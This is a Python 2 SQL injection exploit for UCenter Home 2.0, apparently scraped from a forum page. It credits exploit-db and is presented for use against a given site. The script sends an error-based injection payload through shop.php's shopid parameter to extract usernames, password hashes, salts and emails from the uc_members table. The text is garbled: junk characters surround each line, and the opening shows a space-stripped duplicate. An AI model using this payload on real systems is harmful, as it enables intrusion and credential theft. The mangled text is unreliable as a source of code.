#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl O& v4 O3 T- o; B/ h* r( p: s. S
0 A' `5 `5 l+ V& e0 ?/ ?. V5 {* z9 s$ |: M; ~/ K
#!/usr/bin/env python
- v2 V/ Z. D' \# r5 |/ Z t5 [: B7 f: E. Z4 F) f$ V/ d
import sys
2 B- I( @3 x5 _2 p N' Q. @; Eimport urllib2
$ M. q8 K$ l+ r; L; ^2 D/ s) ^import re
+ l9 \! h7 z$ V: D. x5 A( C 7 R8 }1 m$ Q" u0 q2 b% j
def info():
/ F' K- `; T6 f: Y: U) a print 'From:http://www.exploit-db.com/exploits/14997/' . D6 J) J$ ]9 c' W) O
print 'http://www.hake.cc/Web_loudong/' 0 ^& ~) C F: k! B$ O( d+ Y/ D$ l
print 'changed:qiaoy'
; w4 ^" n) E) \ print 'exp:' i D2 t3 I2 i) U
print ' ./UCenter_Home_2.0.py site'
9 n( z) G1 [; n: E1 q. v 8 @5 q8 s! f8 t2 A# a3 Z! H
def main():
+ G8 y' S0 V" V4 l' V) B0 Q if len(sys.argv) != 2: 3 ]2 @% r# ^9 f2 |7 y2 R
info() . E$ w, r& e: V9 Y7 c$ k
else:
$ M6 a, R& f+ f& j9 h site = sys.argv[1] 9 V( R! a) B0 e
if site[0:7] == 'http://':
B5 ^+ u: _" v1 h$ R6 W( B" a; \/ o sitesite =site 9 r) Z, X+ R" v; k \9 t' ]/ }6 j$ a
elif site[0:8] == 'https://': , ?* {& F5 T$ H) }& o
sitesite = site
7 H# s3 i$ D- y, f! s else: 9 I( p) ]) j' i' Q$ y
site = 'http://'+site ; ]/ n {9 M/ r. l+ T4 {
try: * _, g$ z; Z- m. v2 i+ s
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' : @6 e8 r/ f: }
Value = urllib2.urlopen(url).read()
& f. [4 B0 D$ N" P; H. q Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] . A( Q; P0 J& S) n
hacked = Msg.split(':') . q- s" \: B* T! _' v
print 'Name: '+hacked[1]
6 L( @3 _1 |0 [* e print 'Passwd: '+hacked[2] 9 U3 g K, r2 a" o6 o1 _
print 'salt: '+hacked[3] % k& ^7 o3 M/ L% `4 o
print 'email: '+hacked[4]
3 }+ E# ~6 y2 Q# j except:
% t, A7 \7 N; o# N ^" ^ ?# |: X print 'Sorry,I can\'t work............' 6 z4 y3 A3 M e( K
4 h2 J! W* @! D/ y$ m" B* `if __name__ == '__main__':
/ X$ n; s D- p @. U- S main() |